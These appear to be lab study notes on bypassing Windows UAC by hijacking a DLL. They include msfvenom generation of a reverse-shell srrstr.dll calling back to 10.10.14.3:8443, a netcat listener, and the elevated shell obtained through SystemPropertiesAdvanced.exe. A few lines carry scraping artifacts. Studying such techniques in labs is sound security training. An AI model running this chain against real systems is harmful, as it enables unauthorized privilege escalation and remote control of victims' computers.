User Account control (UAC)

The default RID 500 administrator account always operates at the high mandatory level.

In the example below, the user account sarah is in the administrators group, but cmd.exe is currently running in the context of their unprivileged access token.

C:\htb> whoami /user

USER INFORMATION
----------------

User Name         SID
================= ==============================================
winlpe-ws03\sarah S-1-5-21-3159276091-2191180989-3781274054-1002
C:\htb> net localgroup administrators

Alias name     administrators
Comment        Administrators have complete and unrestricted access to the computer/domain

Members

-------------------------------------------------------------------------------
Administrator
mrb3n
sarah
The command completed successfully.
C:\htb> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                          State
============================= ==================================== ========
SeShutdownPrivilege           Shut down the system                 Disabled
SeChangeNotifyPrivilege       Bypass traverse checking             Enabled
SeUndockPrivilege             Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set       Disabled
SeTimeZonePrivilege           Change the time zone                 Disabled

Confirming UAC is Enabled

C:\htb> REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
    EnableLUA    REG_DWORD    0x1

Checking UAC Level

C:\htb> REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
    ConsentPromptBehaviorAdmin    REG_DWORD    0x5

ConsentPromptBehaviorAdmin is 0x5, which means the highest UAC level of Always notify is enabled

Checking Windows Version

UAC bypasses leverage flaws or unintended functionality in different Windows builds

PS C:\htb> [environment]::OSVersion.Version

Major  Minor  Build  Revision
-----  -----  -----  --------
10     0      14393  0
LogoWindows 10 version historyWikipedia

build version 14393 -> Windows release 1607.

Use technique number 54, which is stated to work from Windows 10 build 14393.

Reviewing Path Variable

When attempting to locate a DLL, Windows will use the following search order.

  1. The directory from which the application loaded.

  2. The system directory C:\Windows\System32 for 64-bit systems.

  3. The 16-bit system directory C:\Windows\System (not supported on 64-bit systems)

  4. The Windows directory.

  5. Any directories that are listed in the PATH environment variable.

PS C:\htb> cmd /c echo %PATH%

C:\Windows\system32;
C:\Windows;
C:\Windows\System32\Wbem;
C:\Windows\System32\WindowsPowerShell\v1.0\;
C:\Users\sarah\AppData\Local\Microsoft\WindowsApps;

Generating Malicious srrstr.dll DLL

 msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.3 LPORT=8443 -f dll > srrstr.dll

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of dll file: 5120 bytes

Testing Connection

C:\htb> rundll32 shell32.dll,Control_RunDLL C:\Users\sarah\AppData\Local\Microsoft\WindowsApps\srrstr.dll
c -lnvp 8443

listening on [any] 8443 ...

connect to [10.10.14.3] from (UNKNOWN) [10.129.43.16] 49789
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.


C:\Users\sarah> whoami /priv

whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                          State   
============================= ==================================== ========
SeShutdownPrivilege           Shut down the system                 Disabled
SeChangeNotifyPrivilege       Bypass traverse checking             Enabled 
SeUndockPrivilege             Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set       Disabled
SeTimeZonePrivilege           Change the time zone                 Disabled

Executing SystemPropertiesAdvanced.exe on Target Host

If you test connection before, Rundl32 End Task then run SystemPropertiesAdvanced.exe

C:\htb> C:\Windows\SysWOW64\SystemPropertiesAdvanced.exe
$ nc -lvnp 8443

listening on [any] 8443 ...
connect to [10.10.14.3] from (UNKNOWN) [10.129.43.16] 50273
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami

whoami
winlpe-ws03\sarah


C:\Windows\system32>whoami /priv

whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name                            Description                                                        State
========================================= ================================================================== ========
SeIncreaseQuotaPrivilege                  Adjust memory quotas for a process                                 Disabled
SeSecurityPrivilege                       Manage auditing and security log                                   Disabled
SeTakeOwnershipPrivilege                  Take ownership of files or other objects                           Disabled
SeLoadDriverPrivilege                     Load and unload device drivers                                     Disabled
SeSystemProfilePrivilege                  Profile system performance                                         Disabled
SeSystemtimePrivilege                     Change the system time                                             Disabled
SeProfileSingleProcessPrivilege           Profile single process                                             Disabled
SeIncreaseBasePriorityPrivilege           Increase scheduling priority                                       Disabled
SeCreatePagefilePrivilege                 Create a pagefile                                                  Disabled
SeBackupPrivilege                         Back up files and directories                                      Disabled
SeRestorePrivilege                        Restore files and directories                                      Disabled
SeShutdownPrivilege                       Shut down the system                                               Disabled
SeDebugPrivilege                          Debug programs                                                     Disabled
SeSystemEnvironmentPrivilege              Modify firmware environment values                                 Disabled
SeChangeNotifyPrivilege                   Bypass traverse checking                                           Enabled
SeRemoteShutdownPrivilege                 Force shutdown from a remote system                                Disabled
SeUndockPrivilege                         Remove computer from docking station                               Disabled
SeManageVolumePrivilege                   Perform volume maintenance tasks                                   Disabled
SeImpersonatePrivilege                    Impersonate a client after authentication                          Enabled
SeCreateGlobalPrivilege                   Create global objects                                              Enabled
SeIncreaseWorkingSetPrivilege             Increase a process working set                                     Disabled
SeTimeZonePrivilege                       Change the time zone                                               Disabled
SeCreateSymbolicLinkPrivilege             Create symbolic links                                              Disabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Disabled

Tools

See Citrix Breakout

Citrix Breakout
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